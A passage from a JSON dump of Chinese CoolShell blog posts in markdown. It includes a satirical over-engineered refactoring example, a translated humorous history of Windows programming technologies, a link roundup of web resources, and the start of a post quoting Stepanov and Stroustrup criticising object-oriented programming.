[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\n* [![游戏Flash vs HTML5](../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg)](https://coolshell.cn/articles/3267.html)[游戏Flash vs HTML5](https://coolshell.cn/articles/3267.html)\nThe post [HTML5 小游戏展示](https://coolshell.cn/articles/2998.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-21 编程时间分配图.md",
    "content": "---\nlayout: post\ntitle: 编程时间分配图\ndate: 2010/9/21/ 0:19:49\nupdated: 2010/9/21/ 0:19:49\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个程序员coding的时间分配图，原图在[这里](http://graphjam.files.wordpress.com/2010/09/8463a94d-0945-43b6-9adf-db795bbc14b9.png)。\n\n\n![](../wp-content/uploads/2010/09/Time-Allocation-while-Programming.png \"Time Allocation while  Programming\")编程时间分配图\n思考会是一个很重要的过程，当然耽搁拖沓也有可能也是因为没有想好，抽烟/喝咖啡应该也是一种思考，吃点东西是为了让脑子转得更快一点，上网搜索一下灵感可以借鉴一下其它人的想法，抱怨写注释只是一个例子，更多的应该是抱怨加班或是公司的老板。\n\n\n如果需要加上点什么的话，我觉得应该加点“重构”，“编译”，“调试”，当然，他们都可以算在coding里。不过，我觉得更应该还有：“开会”，“争吵/解释”，“打断”，这些比重也是很大的。\n\n\n所以，下面是我个人认为比较实际的版本：\n\n\n\n![](../wp-content/uploads/2010/09/Time-Allocation-while-ProgrammingCoolShell.cn_.png \"Time Allocation while  Programming(CoolShell.cn)\")\n\n\n编程时间图（酷壳版）\n\n\n你的编程时间分配图是怎么样的？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\nThe post [编程时间分配图](https://coolshell.cn/articles/2990.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-25 代码重构的一个示例.md",
    "content": "---\nlayout: post\ntitle: 代码重构的一个示例\ndate: 2010/9/25/ 0:33:59\nupdated: 2010/9/25/ 0:33:59\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前和大家提到过的《[各种流行的编程风格](https://coolshell.cn/articles/2058.html)》吗？有一些人问我那些编程风格具体是什么样子的。下面是一个代码重构的实例，让我们看看那个流行的编程风格是实践是什么样的。下面的这个实践不是虚构，如有雷同，请对号入座。\n\n\n首先，我们有一个表达式如下所示：\n\n\n`s = 7;`\n\n\n很明显，这个表达式的变量名太没意义了，很不利于程序的可读性，所以，我们需要取一个有意义的变量名：\n\n\n`slots = 7;`\n\n\n很好，不过，那个常量7是hard-code或是一个Magic number，而且，这常量没有名字也不利于代码的可读性啊。再改：\n\n\n\n\n```\nSEVEN = 7;\n...\nslots = SEVEN;\n```\n\n靠！上面，是这是哪门子的改法？（不过，我保证这是真实发生的），常量名也要有意义一点嘛，再改：\n\n\n\n```\nSLOTS_PER_WIDGET = 7;\n...\nslots = SLOTS_PER_WIDGET;\n```\n\n这还差不多，不过，名字可能会重名啊，最好放到一个类中：\n\n\n\n```\nimport widgetConstants;\n...\nslots = widgetConstants.SLOTS_PER_WIDGET;\n```\n\n现在看起来好很多了，不过，即然面向对象了，我们当然要学会使用Design Pattern，比如Factory啊，或是Singleton啊什么的：\n\n\n\n```\nwidgetModelFactory = WidgetModelFactory.getInstance();\nwidgetModel = widgetModelFactory.getWidgetModel() ;\nslots = widgetModel.getSlotsPerWidget();\n```\n\n当然，要是考虑到整体的类结构，上面的那些还不够，下面是我们最终的重构代码：（欢迎来到真实的Java世界）\n\n\n\n```\ncontext = Context.getCurrentContext();\nserviceDirectoryFactory = ServiceDirectoryFactory.getServiceDirectory(context);\nserviceDirectory = serviceDirectoryFactory.getServiceDirectory(context);\nserviceDescriptor = ServiceDescriptorFactory.getDescriptor(\"widgetModelFactory\");\nwidgetModelFactoryServiceLocator = serviceDirectory.getServiceLocator(serviceDescriptor,context);\nwidgetModelFactory = (WidgetModelFactory)widgetModelFactoryServiceLocator.findService(context);\nwidgetModel = widgetModelFactory.getWidgetModel(context);\n\nslots = widgetModel.getSlotsPerWidget();\n```\n\n这就是我们的面像对象的编程模式，记得N年前在面试那家著名的以鼓吹敏捷方法论的公司时，在用程序实现一个程序题的时候，他们对我的程序很不屑一顾，原因有两个，其一、我没有使用TDD写UT Case，其二、我的程序里没有设计模式。（我才知道，编程原来是为了测试和设计模式，而不是为了原来的需求），今天，仅以此文献给钟爱于[那些流行编码风格](https://coolshell.cn/articles/2058.html)的程序员们。\n\n\n其实，这段代码也是如下而已罢了。\n\n\n`slots = thisWidget.getSlotCount();`\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/5292.html)[弱爆程序员的特征值](https://coolshell.cn/articles/5292.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\nThe post [代码重构的一个示例](https://coolshell.cn/articles/3005.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-27 Windows编程革命简史.md",
    "content": "---\nlayout: post\ntitle: Windows编程革命简史\ndate: 2010/9/27/ 0:51:30\nupdated: 2010/9/27/ 0:51:30\nstatus: publish\npublished: true\ntype: post\n---\n\n源文：[A Brief History of Windows Programming Revolutions](http://www.drdobbs.com/windows/225701475) （Ron Burk）\n\n\n首先，是 Windows API 和 [DLL Hell](http://en.wikipedia.org/wiki/DLL_hell)。（译注：DLL Hell——DLL灾难，就是微软的DLL升级时因为不同版本可能造成应用程序无法运行的灾难，首当其冲的是COM编程，相信大家都知道某些木马或是病毒更改了一些系统的DLL可以导致整个Windows不举，这就是DLL Hell） 于是，第一次革命是[DDE](http://en.wikipedia.org/wiki/Dynamic_Data_Exchange)——我们可以创建一个状态条在上面显示Microsoft的股票价格（译注：Dynamic Data Exchange，工作原理是： 甲方申请一块全局内存，然后把内存指针postmessage到乙方，乙方根据收到的指针访问那块全局内存）。\n\n\n在那个时候，Microsoft 创建了 VERSIONINFO 资源来管理版本信息，当然，是用来消除DLL Hell。但是，另一个微软内部的小组发现了DDE的致命缺陷：这不是他们做的！\n\n\n为了解决这个问题，他们创造了OLE（很像DDE，只是名字不一样），而且，我还记得在一次 Microsoft 大会上，某个微软的演讲者正式宣布—— Windows API 马上就会被 OLE API 所重写并取代，我还盲目地相信了这一说法。而且，所有的在图形界面的控件都会是OCX，那是OLE引入的接口，同样，其目的是为了消除DLL Hell。相信大家都记得，那个时候，我们是怎么地梦想着有一天，我们的应用程序（当然是非常大的程序）可以完全地被嵌入到Word文档中。\n\n\n然而，在Microsoft的某处，Microsoft有些人开始信仰 C++，其确信MFC的出现并可以解决所有的一切问题，但是，因为历史原因，OLE并没有出局，其改了一个名字，叫COM，此时，我们立马意识到OLE（以前的DDE？）真正意味着什么——其用精心的版本管理系统来消除DLL Hell。与此同时，Microsoft的一个变节小组发现了一个MFC的致命缺陷：这不是他们做的！\n\n\n\n当然，微软件的动作是很快的，他们立刻修正了问题——创造了ATL，有些像MFC，只是名字不同，他们想使用漂亮的ATL把那些晦涩难懂的COM的知识给隐藏住。这个动作刺激了COM团队（或是OLE团队？）改名为ActiveX，并发布了成千上万的新接口（甚至是很多版本化的接口，当然，主要目的是为了消除DLL Hell），当然，ActiveX可以让我们的程序可以从Web游览器上下载，并可以完美地和病毒一起嵌入浏览器中（哈，还不紧跟时代，感谢ATL吧）。此时，操作系统团队就像一个失宠的孩子一样，大声呼喊着“[Cairo操作系统](http://www.microsoft.com/middleeast/egypt/cmic/)来了”引起大家注意，当然有一些怪异恶心的东西连他们自己也无法解释清楚，所以，别提发布了。为了声誉，操作系统团队的确引入了“系统文件保护”的理念，当然也是为了消除DLL Hell。\n\n\n这个时候，Microsoft的某个团队发现了Java的致命缺陷：这不是他们做的！于是他们创造了一个叫J，或是Jole，或是ActiveJ的东西（对不起，我真的记不起叫什么了）来挽救Java（译者：应该是Visual J++）。看起来很像Java，只是名字不同罢了。这太让人兴奋了，但是Sun使用了一些相当古老的法律条款向Microsoft提起了法律诉讼，其在一年内限制了任何一个公司可以发布类似Java的产品。这明显是抑制微软复制别人产品的一次尝试，唯一不同的，其结果导致了微软流向国会议员裤兜的现金网络的建立（在这个网络可以得到时事新闻和价值$14.75的T恤衫）。还记得 J/Jole/ActiveJ 的项目经理用他的鞋桌在敲着桌子并信誓旦旦地坚持 Microsoft 将永远不会放弃他的产品。SB！所有的这些也就仅仅意味着一件事——没有人关心ActiveX团队（或者是COM？）。令人难以置信的是，微软把这些东东全部集成起来，成了COM+（难道不应该是ActiveX+?），还有MTS（我不知道为什么没有COM和Active或是X或是+的字眼，而直接叫MTS了——我为这个名词感到实实在在地震惊！）。他们总是那么NB地为那些流行词加上“+”号。在那段时间，还有人曾叫喊着“Windows DNA”以及“Windows Washboard”，但这两个东西最终在我搞清是什么玩意的之前就夭折了。\n\n\n在这一点上，Microsoft已经很不安地窥视着Internet好几年了，他们终于意识到Internet上有一个致命缺陷：嗯，你应该知道这是什么（译注：Internet不是做他们做的！）。于是他们开始培养我们和.NET约会（.NET的发音很像“doughnut”圆环图，不过，这只是他们的唯一不同），这和Internet很相似，只不过.NET有更多的印刷品。其让我们清楚再清楚地了解一件事：.NET会消除DLL Hell。.NET包含了一个新的编程语言，叫C#（为了解决已经死翘翘的Active++ J++的缺陷）。.NET还包含一个虚拟机，所有的语言都运行在上面（这主要是为了解决依赖于Intel CPU的缺陷）。.NET还包含了一个单一的登录系统（这主要是为了解决“不把口令存放在Microsoft服务器上”的缺陷）。实际上，我们更容易做的是把.NET不包含的事给列出来。.NET绝对是一个划时代地Windows编程革命……当然，仅到明年。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11235.html)[一个浮点数跨平台产生的问题](https://coolshell.cn/articles/11235.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2672.html)[.NET代码转换器](https://coolshell.cn/articles/2672.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [Windows编程革命简史](https://coolshell.cn/articles/3008.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-28 一些非常有意思的杂项资源.md",
    "content": "---\nlayout: post\ntitle: 一些非常有意思的杂项资源\ndate: 2010/9/28/ 0:38:34\nupdated: 2010/9/28/ 0:38:34\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一些最近在互联网上看到的一些各式各样的资源和文章，当然，都是英文社区的，本来想每一个写一篇文章，但是觉得一篇文章一句话真没劲，所以，把这些东西合并写成一篇文章，这样有利于减轻本站的负载，也有利于节省网络带宽，同样，也就节省了能力和电力，因此也就很环保，很低碳。呵呵。\n\n\n* 先是一个《Windows Internal》第五版的第五章的电子版（英文的），你可以在[**这里下载**](http://download.sysinternals.com/Files/WindowsInternals-Ch05.pdf)。关于其它一些电子书，你可以看看本站的这篇文章《[免费电子书列表](https://coolshell.cn/articles/2775.html)》、《[非常不错的编程技术教程](https://coolshell.cn/articles/240.html)》、《[超过100本的linux免费书籍](https://coolshell.cn/articles/336.html)》和《[20本最好的Linux免费书籍](https://coolshell.cn/articles/355.html)》\n\n\n→\n\n\n* [**http://www.3dtin.com/**](http://www.3dtin.com/)是一个用纯Javascript搞的一个3D作图的网站，Javascript是越来越强大了。这个演示可以让你看到以后Web应用的潜力。关于[Javascript的一些东西](https://coolshell.cn/articles/tag/javascript)，你可以参看本站的这些文章《[JS1K 演示](https://coolshell.cn/articles/2785.html)》、《[又一个Javascript试验田](https://coolshell.cn/articles/2276.html)》、《[一个Windows 3.1的Web网站](https://coolshell.cn/articles/2065.html)》、《[哥是玩程序的](https://coolshell.cn/articles/1932.html)》。\n\n\n→\n\n\n* 说到这些很酷很炫的东西，大家一定会想到使用Flash，不过，目前的[Flash正在受到HTML5的强力挑战](https://coolshell.cn/articles/2735.html)，目前，对于HTML5的展示网站很多，让我们看到了HTML5完全可以做出Flash的样子，比如前些天本站说到的[这个演示](https://coolshell.cn/articles/2926.html)，还有给大家展示的[纯HTML5的小游戏](https://coolshell.cn/articles/2998.html)，不过，那些都是一些演示和展示罢了。今天在网上看到一个更强大的HTML5游戏，相当有可玩性，大家不妨一去试玩：**<http://www.phoboslab.org/biolab/>**\n\n\n[![](../wp-content/uploads/2010/09/biolab.jpg \"一个很不错的HTML5游戏\")](http://www.phoboslab.org/biolab/)\n\n\n→\n\n\n* HTML5 可以应用的还不只是游戏，这不，[有文章指出](http://thechangelog.com/post/1097381443/vexflow-html5-canvas-javascript-library-music-and-guitar)，用[**VexFlow**](http://www.vexflow.com/)还可以很轻松地在网页上发布乐谱。而[**这个网页**](http://stepheneisenhauer.com/demos/drummachine/)还可以让你制作Hi-PoP音乐。\n\n\n[http://cl.ly/c4f966c6d51cfc9be20b/content](http://www.vexflow.com/)\n\n\n→\n\n\n* 说到Web开发，就得要提CSS了，这里有一个在线编辑CSS的网站，很不错，[**http://css3.mikeplate.com/**](http://css3.mikeplate.com/)。关于CSS和Web开发的一些文章，你可以查看本站的[CSS的Tag](https://coolshell.cn/articles/tag/css)。现在，这种在线的东西是越来越多了，比如：《[Emacs配色在线生成器](https://coolshell.cn/articles/2271.html)》、《[Coderun.com 在线开发IDE](https://coolshell.cn/articles/1883.html)》、《[正则表达式生成器](https://coolshell.cn/articles/1830.html)》、《[Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html)》、《[一个在线的画UML图的网站](https://coolshell.cn/articles/776.html)》。\n\n\n\n→\n\n\n* 说起在线服务，就不得不说说在线代码编译的服务，我觉得这种服务相当好，不需要你在本机安装编译器或IDE，想试试某个语言的语法，真接上网就OK，很方便。以前本站向大家介绍过《[在线代码编译服务Codepad.org](https://coolshell.cn/articles/1310.html)》其支持：C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。当然，在这里，向你介绍一个可以运行Go语言的：**<http://golang.org/doc/play/>**\n\n\n→\n\n\n* 说起Web开发，很自然的就能想到UI。下面是一个[**UI的设计Patterns**](http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns)，这篇文章告诉了我们12个比较常用或是经典的图形UI Patterns。关于[UI方面的话题](https://coolshell.cn/articles/tag/ui)，你可以参看酷壳的《[35个强大的UI设计教程](https://coolshell.cn/articles/363.html)》、《[UI的恶梦](https://coolshell.cn/articles/1907.html)》和《[史上最糟糕的网站](https://coolshell.cn/articles/2313.html)》。\n\n\n[http://theresaneil.files.wordpress.com/2008/12/standard_screen_patterns.png \"12个标准的图形UI设计模式\"](http://designingwebinterfaces.com/designing-web-interfaces-12-screen-patterns)\n\n\n→\n\n\n* 说起Web的界面，最让各位WEB开发者痛苦的就是网页兼容性问题，IE是一个恶梦，因为其自己和自己都不兼容，在MSDN上，有这样的一个网页说明了[**从IE5一直到IE9的CSS的兼容性问题**](http://msdn.microsoft.com/en-us/library/cc351024)，很多很多的表格，头都看大了。当然，以前本站的《[检查网页浏览器的兼容性](https://coolshell.cn/articles/757.html)》的文章向你介绍过如何查看网站在不同浏览器中和操作系统下的效果（其也是一个在线服务）。\n\n\n→\n\n\n* 当然，Web上的开发，问题最大的还是安全问题，我们的Ruby on Rails给出了一个[**Web安全的开发教程**](http://guides.rubyonrails.org/security.html)，相当不错哦。谈到了几乎所有最有威胁和最常用的网上攻击，这个文档应该是所有Web开发者都需要注意的。\n\n\n→\n\n\n* 下面是一个给新手学习linux用的一个桌面（点击图片看大图），其列出了很多常用的命令，以及VI的常用命令。关于VI的一些东西，你可以查看[本站的这些文章](https://coolshell.cn/articles/tag/vim)，如：[VIM有趣的命令](https://coolshell.cn/articles/1651.html)、[如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)\n\n\n[http://i.imgur.com/CJkR9.png \"Linux命令桌面\"](http://i.imgur.com/CJkR9.png)\n\n\n→\n\n\n* 最后，给大家介绍一个关于文件格式方面东西，我们知道，很多文件的开头表明着这个文件的类型，所以，有这样的一个网站了维护了这么一个信息列表，其把几乎所有常见的文件头的那段和文件类型相关的Magic Number列了出来，而且还保持更新，非常不错哦，这个网站是：**<http://www.garykessler.net/library/file_sigs.html>，希望能对你有用哦。**\n\n\n→\n\n\n* **最最后，给大家介绍一个开源项目，叫[**Structure Synth**](http://structuresynth.sourceforge.net/)，这个东西可以用来画出一些很酷的图，相当不错，使用起来非常简单，我试用了一下，的确很强大。用一些简单的脚本就可以作出很不错的3D图，下面是他的一个示例，只需要写那么不到10行的代码，很简单。**\n\n\n[![](../wp-content/uploads/2010/09/Structure-Synth.jpg \"Structure Synth\")](http://structuresynth.sourceforge.net/index.php)\n\n\n想看看，大家用这个东西做什么酷图了吗？上 <http://www.flickr.com/groups/structuresynth/> 看看吧。\n\n\n[http://farm5.static.flickr.com/4029/4652540301_db50832fdc_t.jpg](http://www.flickr.com/photos/9857764@N02/4652540301/in/pool-structuresynth \"structure 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4044/4652540021_0f17294ca5_t.jpg](http://www.flickr.com/photos/9857764@N02/4652540021/in/pool-structuresynth \"architecture x-ray 2 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4002/4650270228_8cc69948bc_t.jpg](http://www.flickr.com/photos/9857764@N02/4650270228/in/pool-structuresynth \"perspective 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4042/4649663253_aa041ab239_t.jpg](http://www.flickr.com/photos/9857764@N02/4649663253/in/pool-structuresynth \"snake shade 作者 Supreet Kumar\") [http://farm4.static.flickr.com/3414/4641732162_e2b078825f_t.jpg](http://www.flickr.com/photos/9857764@N02/4641732162/in/pool-structuresynth \"thatched beauty 作者 Supreet Kumar\")  \n\n[http://farm4.static.flickr.com/3353/4641055399_25688820a9_t.jpg](http://www.flickr.com/photos/9857764@N02/4641055399/in/pool-structuresynth \"aircraft 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4064/4641055019_6ed80cd1b9_t.jpg](http://www.flickr.com/photos/9857764@N02/4641055019/in/pool-structuresynth \"aircraft 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4062/4640849748_0532451842_t.jpg](http://www.flickr.com/photos/cav666/4640849748/in/pool-structuresynth \" 作者 FracturedPixel\") [http://farm5.static.flickr.com/4008/4636427318_c84acf4aa4_t.jpg](http://www.flickr.com/photos/9857764@N02/4636427318/in/pool-structuresynth \"splash1 作者 Supreet Kumar\") [http://farm5.static.flickr.com/4012/4635820649_720cd6599b_t.jpg](http://www.flickr.com/photos/9857764@N02/4635820649/in/pool-structuresynth \"joy 作者 Supreet Kumar\")\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-29 面向对象是个骗局？！.md",
    "content": "---\nlayout: post\ntitle: 面向对象是个骗局？！\ndate: 2010/9/29/ 0:37:54\nupdated: 2010/9/29/ 0:37:54\nstatus: publish\npublished: true\ntype: post\n---\n\n今天在网上看到网页叫“[Object Orientation Isa Hoax](http://c2.com/cgi/wiki?ObjectOrientationIsaHoax)”——面向对象是一个骗局，标题很有煽动性（注：该网站上还有一个网页叫[Object Orientation Is Dead](http://c2.com/cgi/wiki?ObjectOrientationIsDead)），好吧，打开看看上面有些 什么，发现这个网页是在收集一些关于“面向对象的反动言论”，没想到的是，很多言论出自很多大师之口。比如：Alexander Stepanov和Bjarne Stroustrup。这些言论挺有意思的，所以，我摘两段在下面：\n\n\n第一段是Alexander Stepanov的（不要告诉我你不知道这个人，STL之父，关于他的故事，可以到[这里看看](http://www.techcn.com.cn/index.php?doc-view-131345.html)）。他N年前作过一段采访，[原文在这里](http://www.stlport.org/resources/StepanovUSA.html)（我非常建议大家去读一下这篇采访，相当过瘾），[译文在这里](http://dev.csdn.net/htmls/11/11440.html)（不过有地方把原意都译反了，我重译了一下），其中有一个问答被上述的那个面向对象反动言论的网页收录了：\n\n\nhttp://www.techcn.com.cn/uploads/200906/s_1244557971yFeOfA84.jpg \"Alexander Stepanov\"Alexander Stepanov\n\n> **Question**:  \n> \n> I think STL and Generic Programming mark a definite departure from the common C++ programming style, which I find is almost completely derived from SmallTalk. Do you agree?\n> \n> \n> **提问**：  \n> \n> 我认为STL和泛型编程标志着非同一般的C++编程风格，而一般C++风格几乎完全是从SmallTalk派生过来的。你同意吗？\n> \n> \n> **Answer**:  \n> \n> Yes. STL is not object oriented. I think that object orientedness is almost as much of a hoax as Artificial Intelligence. I have yet to see an interesting piece of code that comes from these OO people. In a sense, I am unfair to AI: I learned a lot of stuff from the MIT AI Lab crowd, they have done some really fundamental work: Bill Gosper’s Hakmem is one of the best things for a programmer to read. AI might not have had a serious foundation, but it produced Gosper and Stallman (Emacs), Moses (Macsyma) and Sussman (Scheme, together with Guy Steele). I find OOP technically unsound. It attempts to decompose the world in terms of interfaces that vary on a single type. To deal with the real problems you need multisorted algebras – families of interfaces that span multiple types. I find OOP philosophically unsound. It claims that everything is an object. Even if it is true it is not very interesting – saying that everything is an object is saying nothing at all. I find OOP methodologically wrong. It starts with classes. It is as if mathematicians would start with axioms. You do not start with axioms – you start with proofs. Only when you have found a bunch of related proofs, can you come up with axioms. You end with axioms. The same thing is true in programming: you have to start with interesting algorithms. Only when you understand them well, can you come up with an interface that will let them work.\n> \n> \n> **回答：**  \n> \n> 是的。STL不是面向对象的。我认为面向对象和人工智能差不多，都是个骗局。我至今仍然没有从那些OO编程的人那里看到一丁点有意思的代码。从某种意义上来说，我这么说对人工智能（AI）并不公平：因为我听说过很多MIT（麻省理工大） AI实验室里一帮人搞出来的东西，而且他们的确直正干了一些基础性的工作：Bill Gosper的Hakmem是程序员最好的读物之一。AI或许没有一个实实在在的基础，但它造就了Gosper和Stallman（Emacs）， Moses（Macsyma）和Sussman（Scheme， 和Guy Steele一起）。\n> \n> \n> * 我发现OOP在技术上是荒谬的，它企图把事物按照不同单个类型的接口来解构，为了处理实际问题，你需要多种代数方法——横跨多种类型的接口族；\n> * 我发现OOP在哲学上是荒谬的，它声称一切都是对象。即使这是真的也不是很有趣——因为说一切都是对象跟什么都没说一样；\n> * 我发现OOP的方法论是错误的，它从类开始，就好像数学应该从从公理开始一样。其实你不会是从公理开始的，而是从证明开始。直到你找到了一大堆相关证据后你才能归纳出公理，然后以公理结束。在程序设计方面存在着同样的事实：你要从有趣的算法开始。只有很好地理解了算法，你才有可能提炼出接口以让其工作。\n> \n> \n> \n\n\n<———>\n\n\n下面，我们再来看C++的发明者Bjarne Stroustrup，在1998年IEEE采访时的一段话（[全篇见这里](http://www2.research.att.com/~bs/ieee_interview.html)），下面是其中的几段话：（我的翻译如下）\n\n\n\nhttp://www.techcn.com.cn/uploads/200906/1244559516ywHaeEXL.png \"Bjarne Stroustrup\"Bjarne Stroustrup\n\n> So what is OO? Certainly not every good program is object-oriented, and not every object-oriented program is good. If this were so, “object-oriented” would simply be a synonym for “good,” and the concept would be a vacuous buzzword of little help when you need to make practical decisions. I tend to equate OOP with heavy use of class hierarchies and virtual functions (called methods in some languages). This definition is historically accurate because class hierarchies and virtual functions together with their accompanying design philosophy were what distinguished Simula from the other languages of its time. In fact, it is this aspect of Simula’s legacy that Smalltalk has most heavily emphasized.\n> \n> \n> 那么，什么是OO面向对象？当然，不会是所有的程序都是面向对象的，而且，也不是所有的面向对象程序就是好的。如果面向对象是好的，那么“Object-Oriented”应该成为“Good”的同义词，并且，OO概念只会成为一个假大空的口号，在你需要做出实际决定时只可能帮你那么一丁点。我倾向于把OOP等价于大量使用继承类和虚函数（某些语言的调用方法）。从历史上来说，这个定义是精确的，因为，在那个时候，只有类的继承和虚函数一起存在的设计哲学，才能把Simula和其它语言分别开来。事实上，Smalltalk相当地强调着这种Simula的遗留问题。\n> \n> \n> Defining OO as based on the use of class hierarchies and virtual functions is also practical in that it provides some guidance as to where OO is likely to be successful. You look for concepts that have a hierarchical ordering, for variants of a concept that can share an implementation, and for objects that can be manipulated through a common interface without being of exactly the same type. Given a few examples and 